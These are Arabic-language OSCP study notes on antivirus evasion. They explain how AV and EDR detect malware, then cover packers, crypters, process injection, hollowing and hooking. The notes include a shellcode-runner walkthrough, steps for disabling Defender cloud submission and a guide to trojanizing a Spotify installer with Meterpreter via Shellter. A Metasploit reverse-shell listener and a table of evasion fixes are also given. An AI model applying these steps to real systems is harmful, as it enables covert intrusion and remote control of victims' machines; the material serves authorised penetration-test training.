الموديول ده اتنظَّم حوالين ثلاث محاور رئيسية:
من منظور مختبر الاختراق المحترف: فهم كيف الـ AV بيشتغل من جوه هو الخطوة الأولى قبل أي محاولة للتحايل عليه. الهدف مش الاختراق العشوائي، بل إثبات نقاط ضعف حقيقية لأصحاب المصلحة في إطار تقييمات مرخَّصة وآمنة.
كل التقنيات في الموديول ده لازم تتطبَّق فقط في بيئات لاب متحكَّم فيها أو في إطار engagement مرخَّص رسمياً. استخدامها بدون إذن يعتبر جريمة إلكترونية في معظم الدول.
برامج مكافحة الفيروسات هي تطبيقات أمنية صُمِّمت لمنع البرامج الخبيثة والكشف عنها وإزالتها. في بدايتها كانت بتركّز على الفيروسات التقليدية بس — لكن مع تطوّر التهديدات كشبكات الـ Botnet وبرامج الفدية (Ransomware)، توسّعت قدراتها بشكل كبير.
الـ AV الحديث مش بس بيمسح الملفات. بقى بيضم: مراقبة الترافيك على غرار الـ IDS/IPS، جدار حماية مدمج، فلترة الويب وتحليل الـ URLs، حماية البريد الإلكتروني، ومراقبة سلوكية مستمرة للعمليات الجارية.
برامج الحماية المعاصرة بتجمع طبقات متعددة في منصة واحدة — وده بيخلّي التحايل عليها أصعب من مجرد تعديل ملف.
التوقيع (Signature) هو نمط مميّز بيُستخدم للتعرّف بشكل فريد على برنامج خبيث محدد. ممكن يكون: بصمة رقمية (Hash) كاملة للملف، تسلسل bytes محدد داخل الكود، أو strings نصية مميّزة مضمَّنة في الكود.
كل محرك كشف غالبًا بيعتمد على صيغة قواعده الخاصة — لذلك التهديد الواحد ممكن يكون ليه توقيعات متعددة، كل واحدة مصمَّمة لسياق تحليل مختلف. مثلاً: توقيع لاكتشاف الملف على القرص، وتوقيع تاني للترافيك اللي الـ malware بيولّده على الشبكة.
YARA: إطار عمل معياري مفتوح المصدر بيسمح للمحللين بوصف خصائص البرامج الخبيثة باستخدام قواعد مرنة، والبحث عن عيّنات مطابقة عبر مجموعات بيانات ضخمة. بيُستخدم على نطاق واسع مع منصة VirusTotal اللي بتجمع عشرات محركات الكشف.
لأن الكشف القائم على التوقيعات محدود بالتهديدات المُحلَّلة مسبقًا، الحلول الحديثة — زي Microsoft Defender — بتدمج نماذج تعلّم آلي بتقيّم الملفات المشبوهة حتى في غياب أي توقيع مطابق. النماذج دي بتحلّل: أنماط السلوك، البنية الداخلية، والتشابه مع تهديدات معروفة.
الكشف بالـ ML غالبًا بيعتمد على خدمات سحابية — يعني في البيئات المعزولة (Isolated Networks) قدرته بتقلّ بشكل ملحوظ. ده نقطة ضعف ممكن تستغلّها وانت بتقيّم بيئة هدف.
| المعيار | Antivirus (AV) | EDR — Endpoint Detection & Response |
|---|---|---|
| الهدف الرئيسي | منع التهديدات (Prevention) | الكشف والاستجابة (Detection & Response) |
| طريقة العمل | فحص الملفات آنياً | جمع بيانات تفصيلية مستمرة من الـ Endpoints |
| البيانات المُجمَّعة | محدودة (الملف المشبوه فقط) | كل أنشطة العملية، الشبكة، والنظام |
| التحليل | محلي وفوري | SIEM بيحلّل ويربط الأحداث ببعض |
| إعادة بناء الهجوم | غير متاح | متاح — بيعيد بناء timeline الهجوم كامل |
| ميزة إضافية | الاستجابة الفورية للملفات الخبيثة | بعض الـ EDRs بيضم ميزات منع مدمجة |
الـ AV والـ EDR مش بديلين لبعض — بيكمّلوا بعض. الـ AV بيوفّر حماية أمامية ضد الـ malware المعروف، والـ EDR بيوفّر رؤية عميقة وقدرة استجابة للهجمات المتطوّرة.
قلب الـ AV الحديث هو آلية تحديث مستمرة بتجيب تعريفات الكشف من مستودع المورّد الإلكتروني، وبتخزّنها محليًا عشان تغذّي المحركات المتخصّصة المختلفة.
بيشتغل زي نظام Deny-list: بيفحص مواقع التخزين بحثًا عن بصمات رقمية مرتبطة بـ malware مُحدَّد مسبقًا. التوقيع ممكن يكون: hash تشفيري للملف، أنماط bytes مميّزة، أو strings نصية فريدة.
نقطة الضعف الكبيرة: حتى تغيير بايت واحد في الملف بيولّد hash تماماً مختلف — يعني نسخة معدَّلة بسيطة من الـ malware ممكن تهرب من الكشف بالـ Hash وحده. عشان كده الحلول الحديثة نادرًا ما بتعتمد عليه لوحده.
بيحاول يكتشف التهديدات بفحص بنية الكود ومنطقه بدل البحث عن تطابق حرفي. بيستخدم قواعد وخوارزميات والتعرّف على الأنماط لتحديد إذا كان البرنامج يتصرّف زي الـ Malware.
تقنياته: تحليل تسلسلات التعليمات بحثًا عن عمليات مشبوهة، إعادة بناء منطق البرنامج عبر Disassembly، وتحديد الدوال الشائعة في النشاط الخبيث. الميزة: قادر يكشف variants جديدة من تهديدات معروفة حتى لو مفيش signature مطابق ليها.
بيركّز على إيه اللي البرنامج بيعمله مش على شكله. الملفات المشبوهة بتتنفَّذ في بيئة معزولة (Sandbox) وبيتراقَب سلوكها بأمان. بيدور على: تعديلات غير مصرَّح بيها للنظام، محاولات تصعيد الامتيازات، اتصالات شبكة غير متوقَّعة، والتدخّل في أدوات الأمان.
فعّال جداً ضد التهديدات المخفاة بالتشفير أو الـ Obfuscation — لأن حتى لو الكود كان مشفَّر على القرص، سلوكه في الـ Sandbox بيكشف نواياه.
بيحلّل كميات ضخمة من الـ Metadata — سمات الملف، أنماط السلوك، والخصائص البنيوية — لتحديد احتمالية أن البرنامج خبيث. Microsoft Defender مثلاً بيستخدم نموذج محلي للقرارات السريعة وذكاء سحابي للتحليل العميق عند الحالات الغامضة.
لأن الـ ML مش بيعتمد على توقيعات محدَّدة، هو فعّال بشكل خاص في اكتشاف التهديدات غير المرئية مسبقًا وعائلات الـ Malware المعدَّلة.
مفيش أسلوب كشف واحد كافي لوحده — كل الحلول الحديثة بتدمج الأساليب الأربعة مع بعض. وده بيفسّر ليه نتائج الكشف بتتفاوت بين منتجات الأمان المختلفة على نفس العيّنة.
تقنيات التحايل في سياق اختبار الاختراق بتنقسم لفئتين رئيسيتين:
| المعيار | On-Disk Evasion | In-Memory Evasion |
|---|---|---|
| الهدف | تغيير مظهر الملف على القرص | تجنّب الكتابة على القرص تماماً |
| الأثر الجنائي | ملف معدَّل موجود على القرص | الكود بيختفي بعد الـ Reboot (الذاكرة RAM فقط) |
| المحركات المستهدَفة | File scanning engines | File-based detection layers |
| الاستمرارية | ممكن يفضل موجود | مؤقت (Volatile) |
| صعوبة التطبيق | أسهل نسبياً | أصعب تقنياً |
| احتمال الكشف | أعلى (مع تطوّر الـ AV) | أقل (خصوصاً ضد File scanners) |
الـ AV الحديث بيستخدم طبقات دفاعية متعددة — يعني المهاجمين بيكيّفوا أساليبهم باستمرار. الـ Disk-based بيحاول يتهرّب من التحليل الساكن (Static Analysis)، والـ Memory-based بيهدف لتجاوز المراقبة اللي بتحصل قبل التنفيذ.
كل الاستراتيجيات دي هدفها منع محركات الفحص من التعرّف على البرامج الخبيثة المخزَّنة على القرص.
من أقدم أساليب التحايل. في بداية الإنترنت، كانت هذه الأدوات بتُستخدم أساساً لتقليل حجم البرامج. لكن الأهم: الـ Packers بتنتج ملفاً تنفيذياً جديداً بـ Binary Layout مختلف تماماً — يعني بصمة رقمية (Hash) مختلفة بالكامل.
بخلاف ضغط الـ ZIP العادي، الـ Packer بينتج ملف قابل للتنفيذ مباشرة بـ Binary Layout مختلف كلياً — مع الحفاظ على وظيفته الأصلية. النتيجة: الـ AV القديم اللي يعتمد على التوقيعات ممكن ميعرفوش.
ملاحظة: الـ Packers المعروفة (زي UPX) بقت سهلة الكشف بالحلول الحديثة — دلوقتي محتاج Packers مخصَّصة أو نُدرة ليكون فعّالاً.
بدل ما تضغط الملف، الـ Obfuscators بتحوّل الكود مع الحفاظ على سلوكه. الأساليب الشائعة:
أدوات الـ Obfuscation المتقدّمة ممكن حتى تعدّل الكود ديناميكياً أثناء التنفيذ — وده بيعقّد التحليل أكثر.
الـ Crypters بتحوّل المحتوى التنفيذي لصيغة مشفَّرة مع إرفاق Stub صغير بيفكّ التشفير وقت التشغيل. النتيجة:
الاستراتيجيات المتطوّرة نادرًا بتعتمد على أسلوب واحد. بتجمع طبقات متعددة مع إجراءات دفاعية إضافية:
الحماية المركَّبة بتضم: Anti-Debugging (منع التحليل بالـ Debugger) + Anti-Sandbox (اكتشاف بيئة الـ Sandbox والامتناع عن التنفيذ) + Anti-Reverse Engineering (منع فكّ الهندسة العكسية). كتير من هذه التقنيات اتطوَّرت أصلًا لحماية البرامج التجارية من القرصنة.
رغم أن مفاهيم الـ On-Disk Evasion تبدو بسيطة، تطبيقها بفاعلية صعب تقنياً — وفيه أدوات مجانية قليلة جداً بتقدر تتجاوز الحلول الحديثة بشكل متسق. بعض الأدوات التجارية زي The Enigma Protector بتوضّح قدرات التحايل المتقدّمة اللي بتتحدّى أنظمة الكشف التقليدية.
الـ In-Memory Evasion بتركّز على التلاعب بالذاكرة المتطايرة (RAM) بدل تعديل ملفات على القرص. الميزة الرئيسية: أثر جنائي (Forensic Footprint) ضئيل جداً أو معدوم.
إدخال كود خبيث في مساحة عنوان عملية شرعية جارية — بدل إطلاق عملية مشبوهة، المهاجم بيستخدم عملية موثوقة.
فتح Handle للعملية المستهدَفة بالأذونات المطلوبة (PROCESS_ALL_ACCESS أو أذونات محددة).
استخدام VirtualAllocEx() لحجز مساحة ذاكرة قابلة للتنفيذ داخل Address Space العملية المستهدَفة.
استخدام WriteProcessMemory() لنسخ الـ Shellcode في المساحة المحجوزة.
استخدام CreateRemoteThread() لإنشاء Thread جديد داخل العملية المستهدَفة يبدأ تنفيذه من عنوان الـ Shellcode. الكود بيشتغل تحت هوية العملية الشرعية — وده بيجعل الـ Monitoring Systems تتعامل معه كنشاط طبيعي.
تحميل مكتبة DLL مباشرة من الذاكرة بدل من القرص. بشكل طبيعي، أنظمة التشغيل بتتوقّع تحميل المكتبات من ملفات — لكن هذه التقنية بتعيد بناء عملية التحميل داخلياً عشان المكتبة تشتغل من غير ما تتكتب على التخزين.
هذه التقنية صعبة تقنياً لأنها بتطلب إعادة بناء الوظائف اللي بيتولّاها System Loader بشكل طبيعي — زي حلّ التبعيات (Resolving Dependencies) وتهيئة التنفيذ.
بيبدأ بتشغيل عملية شرعية في حالة Suspended (معلَّقة قبل التنفيذ) → استبدال الـ Memory Image الأصلي بكود خبيث → استئناف التنفيذ. العملية بتبدو شرعية من الخارج، لكن سلوكها بيكون تحت سيطرة الـ Payload المُدخَل.
بيعدّل ذاكرة عملية جارية لإعادة توجيه تدفّق التنفيذ. تعليمة صغيرة بتتدرج في دالة معيّنة بحيث لما الدالة بتشتغل، التحكّم بينتقل مؤقتًا للكود الخبيث، وبعدين بيرجع للتنفيذ الطبيعي. الأسلوب ده مرتبط بشكل أساسي بعائلات الـ Rootkits.
الـ Rootkits فئة متطوّرة من التهديدات المصمَّمة للبقاء غير مكتشَفة مع الحفاظ على وصول طويل الأمد. ممكن تعدّل مكوّنات على مستويات مختلفة: User Applications، Kernel Modules، أو حتى Boot Mechanisms. التطبيق بيتطلّب صلاحيات مرتفعة (Admin/Root) غالبًا بتُكتسب عبر استغلال ثغرات.
| التقنية | الآلية | الصعوبة التقنية | مستوى الخفاء |
|---|---|---|---|
| Remote Process Injection | كتابة Shellcode في عملية خارجية | متوسطة | عالي |
| Reflective DLL Injection | تحميل DLL من الذاكرة مباشرة | عالية | عالي جداً |
| Process Hollowing | استبدال Image عملية شرعية | عالية | عالي جداً |
| Inline Hooking | تعديل Execution Flow في الذاكرة | متقدمة جداً | أعلى (Rootkit-level) |
| Thread Injection (Current Process) | الـ Shellcode في نفس العملية | منخفضة - متوسطة | متوسط - عالي |
SecOps: التعاون الوثيق بين فريق عمليات الـ IT وفريق SOC (Security Operations Center) بهدف الحفاظ على قدرات مستمرة للمراقبة والوقاية والاستجابة ضد التهديدات المستجدة والمستقرة على حدٍّ سواء.
من منظور مختبر الاختراق: فهم كيف فِرَق SecOps بتنشر وبتدير تقنيات الحماية ضروري لتقييم إذا كانت الضوابط الدفاعية قادرة على كشف أساليب الهجوم المتطوّرة.
رفع عيّنة اختبار على VirusTotal بيكشف كم محرك قادر يكتشفها — لكن المنصة بتشارك الملفات المرفوعة مع المورّدين المشاركين. النتيجة: بيتولَّد signatures جديدة بسرعة كبيرة، وأداة الاختبار بتفقد فاعليتها في المهمات المستقبلية.
كتير من برامج الأمان بيضم ميزات تحليل سحابي بترفع الملفات المشبوهة تلقائياً. أثناء الاختبار، ده ممكن يكشف أدوات مخصَّصة. في Windows Defender:
Windows Security
→ Virus & threat protection
→ Manage settings
→ Cloud-delivered protection: OFF
→ Automatic sample submission: OFF
عطّل هذه الخيارات في بيئة الاختبار فقط — وبعد خلوص الاختبار، لو بيئة الهدف الحقيقية بتستخدم هذه الميزات، فعّلها تاني عشان تقيّم الكشف في ظروف واقعية.
قواعد الكشف بتُشتَقّ غالبًا من عيّنات مُحلَّلة مسبقًا. الكود المخصَّص والتقنيات الفريدة بتكون أقل احتمالاً لمطابقة التوقيعات الموجودة مقارنةً بالأدوات الشائعة المعروفة.
في التقييمات الأمنية المرخَّصة، تطوير أدوات اختبار مخصَّصة بيساعد في قياس مدى استجابة الدفاعات للتهديدات المبتكرة — وده أدقّ وأنفع من استخدام أدوات معروفة بتوقيعاتها مسبقة في قواعد بيانات الـ AV.
إنشاء تحايل شامل لكل منتجات الأمان صعب جداً — كل مورّد بيستخدم توقيعات وهيوريستيك وتحليل سلوكي ونماذج ML مختلفة. في الـ Engagement، المختبر بيركّز على الـ AV المحدد المنتشر في بيئة الهدف.
AV: Avira Free Security على Windows 11
التحقق المطلوب قبل الاختبار: الحماية اللحظية مفعَّلة ✓ | التوقيعات محدَّثة ✓ | الـ AV بيكتشف Payloads معروفة ✓
خطوة التحقق المعيارية: رفع Payload معروف (مثلًا مولَّد بـ Metasploit) — لو الـ AV عزله فوراً، ده بيأكّد: محرك الملفات شغّال، الحماية على مستوى Kernel مفعَّلة، وآليات العزل (Quarantine) تعمل صح.
في المثال ده، بنعمل Injection في نفس العملية الجارية (PowerShell) — مش في عملية خارجية.
| API Call | الوظيفة | المرحلة |
|---|---|---|
VirtualAlloc() | حجز ذاكرة قابلة للتنفيذ (PAGE_EXECUTE_READWRITE) داخل العملية الحالية | تهيئة الذاكرة |
memset() | نسخ bytes الـ Shellcode في المساحة المحجوزة | كتابة الـ Payload |
CreateThread() | إنشاء Thread جديد يبدأ تنفيذه من عنوان الـ Shellcode | تشغيل الـ Payload |
باستخدام إطار عمل زي Metasploit، نولّد Payload (مثلًا Reverse Shell). الـ Payload بيتخزَّن كـ Byte Array داخل السكربت.
السكربت بيحجز ذاكرة قابلة للتنفيذ بـ VirtualAlloc()، بينسخ الـ Shellcode فيها بـ memset()، وبيشغّله عبر CreateThread().
النتيجة: الكود الخبيث بيتنفَّذ من غير ما يلمس القرص.
Listener (مثلًا Netcat أو Metasploit Handler) بيستنى الاتصال الوارد — المهاجم بيحصل على Shell وبيبدو النشاط كإجراء طبيعي من العملية المضيفة.
| سبب الكشف | التفاصيل |
|---|---|
| Known injection patterns | الـ AV بيتعرّف على أنماط VirtualAlloc + memset + CreateThread مع بعض |
| Suspicious API usage | استخدام APIs معيّنة مع بعض يطلّع علامة تحذير |
| Recognizable variable names | أسماء المتغيّرات الافتراضية $sc، $winFunc إلخ. موجودة في قواعد كشف ثابتة |
| Static string signatures | نص Win32 داخل السكربت بيطابق signatures قائمة |
لأن السكربتات نصوص عادية، تعديلات بسيطة ممكن تتحايل على الكشف الساكن (Static Detection):
# الأسماء الأصلية المكتشَفة:
$sc → $var1
$winFunc → $var2
Win32 → iWin32
# حتى هذا التغيير البسيط يمكن أن يقلل نسبة التطابق مع Signatures
Windows بيمنع تشغيل السكربتات بشكل افتراضي عبر Execution Policies:
| السياسة | التأثير |
|---|---|
Restricted | الافتراضي — يمنع تشغيل أي Script بالكامل |
RemoteSigned | يسمح للـ Scripts المحلية، يطلب توقيع للـ Scripts البُعدية |
Unrestricted | يسمح بكل Scripts مع تحذير للبُعدية |
Bypass | لا قيود ولا تحذيرات — الأنسب لبيئات الاختبار |
السياسات في الغالب خاصة بالمستخدم ويمكن التحكّم فيها عبر Group Policy. تغيير السياسة بيسمح بتشغيل الـ Script — لكنه بيكون في حدّ ذاته إجراء ممكن أن يلفت الانتباه في بيئات الإنتاج.
Shellter هي أداة Dynamic Shellcode Injection مصمَّمة لتضمين Payloads خبيثة داخل ملفات Windows التنفيذية الشرعية (PE) بطريقة خفية — بديل أكثر تطوّراً من تقنيات الـ Injection الكلاسيكية التي يكتشفها الـ AV بسهولة.
Shellter بتدرس الملف التنفيذي الشرعي بعمق — بنيته الداخلية، كل مسارات التنفيذ الممكنة، وتدفّق الكود.
بتحدّد مواقع داخل الكود الأصلي تسمح بإدراج الـ Shellcode بدون كسر وظيفة البرنامج.
Shellter ما بتغيّرش صلاحيات الـ Sections الموجودة وما بتنشئش Sections جديدة — وده بالضبط اللي كان بيكشف أدوات الـ Injection التقليدية.
بدل استدعاء Windows APIs بشكل مباشر ومشبوه، بتستخدم Import Address Table (IAT) الموجودة أصلاً في الملف للـ Memory Allocation والـ Payload Transfer والـ Execution — وده بيخلّي الملف المعدَّل يبدو شرعياً لمحركات الكشف القائمة على التوقيعات.
النسخة المجانية بتدعم ملفات PE الـ 32-bit فقط. النسخة التجارية (Shellter Pro) بتدعم 32-bit و64-bit مع قدرات Stealth أكثر تقدُّماً.
رغم أن Shellter بتستهدف ملفات Windows، ممكن تشغّلها على Kali بواسطة Wine (طبقة التوافق اللي بتسمح بتشغيل تطبيقات Windows على Linux).
# البحث عن الحزمة
apt-cache search shellter
# تثبيت Shellter
sudo apt install shellter
# تثبيت Wine
sudo apt install wine
# إضافة معمارية 32-bit
dpkg --add-architecture i386
apt-get update
apt-get install wine32
| الوضع | الوصف | متى تستخدمه؟ |
|---|---|---|
| Auto Mode | عملية Injection آلية كاملة بأدنى تدخّل من المستخدم | الاختيار الأول في معظم السيناريوهات |
| Manual Mode | تحكّم دقيق في كل خطوة من عملية الـ Injection | عندما يفشل Auto Mode أو تحتاج تخصيص متقدم |
Shellter بتحتاج ملف Windows PE شرعي كـ Carrier للـ Payload.
Spotify Installer (32-bit) — لماذا؟ يبدو موثوقاً للمستخدم، أقل ترشيحاً للفحص من قِبَل أدوات الأمان، وغالباً مسموح له في سياسات الأمان.
Shellter بتطلب مسار الملف → بتحلّله → بتعمل Backup قبل التعديل.
لما Shellter بتلاقي نقطة Injection مناسبة، بتسألك عن تفعيل Stealth Mode:
| الخطوة | التفاصيل |
|---|---|
| اختيار الـ Payload | Meterpreter Reverse TCP (الأكثر موثوقية على Windows 11) |
| LHOST | IP جهاز المهاجم (يستقبل الاتصال) |
| LPORT | البورت الذي سيستمع عليه الـ Handler |
| نتيجة الـ Injection | ملف PE يبدو شرعياً لكنه يحمل Meterpreter مضمَّن |
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Attacker_IP>
set LPORT <Port>
run
الأدوات الآلية تقدر تتجاوز الكشف القائم على التوقيعات ← البرامج الشرعية يمكن تسليحها ← Stealth Mode بيحافظ على سلوك طبيعي للبرنامج ← إعداد الـ Listener ضروري قبل تشغيل الملف المصاب ← هذه التقنيات شائعة في حملات الـ Phishing واختبارات الاختراق المستهدَفة.
| الأسلوب | المبدأ | نقاط القوة | نقاط الضعف |
|---|---|---|---|
Signature-Based | مطابقة البصمات والـ Hashes | سريع، دقيق للتهديدات المعروفة | عاجز ضد تهديدات جديدة أو معدَّلة |
Heuristic | تحليل بنية الكود والمنطق | يكتشف Variants جديدة | False Positives أعلى |
Behavior Monitoring | مراقبة أفعال البرنامج في Sandbox | فعّال ضد المشفَّر والمعتَّم | قابل للتخطّي بـ Anti-Sandbox |
ML / AI | تعلّم من Patterns وخصائص | يكتشف تهديدات غير معروفة | يحتاج اتصال سحابي — ضعيف في الشبكات المعزولة |
| المحرك | الوظيفة الأساسية | يكتشف |
|---|---|---|
| File Analysis | فحص دوري ومراقبة لحظية للملفات | Malware على القرص |
| Memory Inspection | فحص الذاكرة الحية للعمليات | Fileless Malware و Code Injection |
| Network Monitoring | مراقبة الترافيك الشبكي | C2 Communications و Data Exfiltration |
| Code Analysis | Disassembly وتحليل الكود | Packers و Obfuscators و Decryption Stubs |
| Sandbox / Emulator | تشغيل آمن في بيئة معزولة | Encrypted Malware والـ Behavior الخبيث |
| Browser Extension | مراقبة Scripts والتنزيلات | Web-based threats و Drive-by Downloads |
| AI / ML Module | تحليل Patterns سحابي/محلي | Unknown Threats و Zero-days |
| المعيار | On-Disk Evasion | In-Memory Evasion |
|---|---|---|
| الأثر الجنائي | ملف معدَّل على القرص | RAM فقط — يختفي بعد Reboot |
| الاستمرارية | ممكن (الملف باقي) | مؤقت (Volatile) |
| احتمال الكشف | أعلى | أقل (ضد File Scanners) |
| الأساليب الرئيسية | Packers, Obfuscation, Crypters | Process Injection, Hollowing, Hooking |
| الصعوبة التقنية | أسهل نسبياً | أصعب — يتطلب Windows API knowledge |
| API | المعامل الرئيسي | الوظيفة |
|---|---|---|
VirtualAlloc() | PAGE_EXECUTE_READWRITE | حجز ذاكرة قابلة للقراءة والكتابة والتنفيذ |
memset() | Shellcode bytes, length | كتابة bytes الـ Shellcode في المساحة المحجوزة |
CreateThread() | lpStartAddress = pointer to shellcode | إنشاء Thread جديد يبدأ تنفيذه من الـ Shellcode |
VirtualAllocEx() | hProcess = target process handle | نفس VirtualAlloc لكن في عملية خارجية |
WriteProcessMemory() | hProcess, lpBaseAddress | الكتابة في ذاكرة عملية خارجية |
CreateRemoteThread() | hProcess, lpStartAddress | Remote Process Injection — Thread في عملية خارجية |
| الأمر | الوظيفة |
|---|---|
apt-cache search shellter | البحث عن حزمة Shellter |
sudo apt install shellter | تثبيت Shellter |
sudo apt install wine | تثبيت Wine (لتشغيل أدوات Windows على Linux) |
dpkg --add-architecture i386 | إضافة دعم معمارية 32-bit |
apt-get update | تحديث قاعدة بيانات الحزم |
apt-get install wine32 | تثبيت Wine 32-bit (مطلوب لـ Shellter) |
| السياسة | السلوك | ملاحظة |
|---|---|---|
Restricted | يمنع كل Scripts | الافتراضي في معظم أنظمة Windows |
RemoteSigned | Scripts محلية مسموحة — البُعدية تحتاج توقيع | شائع في بيئات الشركات |
Unrestricted | كل Scripts مسموحة مع تحذير للبُعدية | تحذير قابل للتجاوز |
Bypass | لا قيود ولا تحذيرات | الأنسب لبيئات الاختبار المتحكَّم فيها |
| العَرَض | الفحص الأول |
|---|---|
| AV عزل الملف فوراً | جرّب Obfuscation — غيّر أسماء المتغيّرات والـ Strings المميّزة |
| كشف الـ Memory Module | جرّب Process Injection في عملية أكثر شرعية (explorer.exe) |
| Sandbox اكتشف السلوك | أضف Anti-Sandbox check أو تأخير في التنفيذ |
| ML اكتشف الـ Payload | استخدم Custom Shellcode بدل Metasploit templates الشائعة |
| VirusTotal نسبة كشف عالية | لا تستخدم VirusTotal في Engagements حقيقية — جهّز Lab VM |
في الموديول ده، استعرضنا بنية برامج مكافحة الفيروسات من الداخل — كيف بتعمل، إيه المحركات اللي بتتعاون مع بعض، وإزاي بتقرّر إيه اللي آمن وإيه اللي خبيث. بعد كده انتقلنا لأساليب التحايل اللي بيعتمد عليها مختبرو الاختراق في التقييمات المرخَّصة.
الفرق بين مختبر الاختراق الجيد والممتاز هو الفهم العميق للجانبين — الهجوم والدفاع معاً. فهم كيف الـ AV بيشتغل من جوه بيسمحلك بتقييم واقعي لمدى صلابة الدفاعات وتقديم توصيات حقيقية تحمي العميل من التهديدات المتقدّمة.
لما محاولة التحايل تفشل: حدّد أي محرك اكتشف الـ Payload ← افهم إيه النمط اللي كشفه ← راجع ما إذا كان Disk-based أو Memory-based أو Behavioral ← عدّل الأسلوب أو الـ Payload ← اختبر في Lab معزول ← لا ترفع على منصات عامة ← وثّق كل خطوة وكل تعديل.
نهاية نوتس الموديول الثاني عشر — OSCP: Antivirus Evasion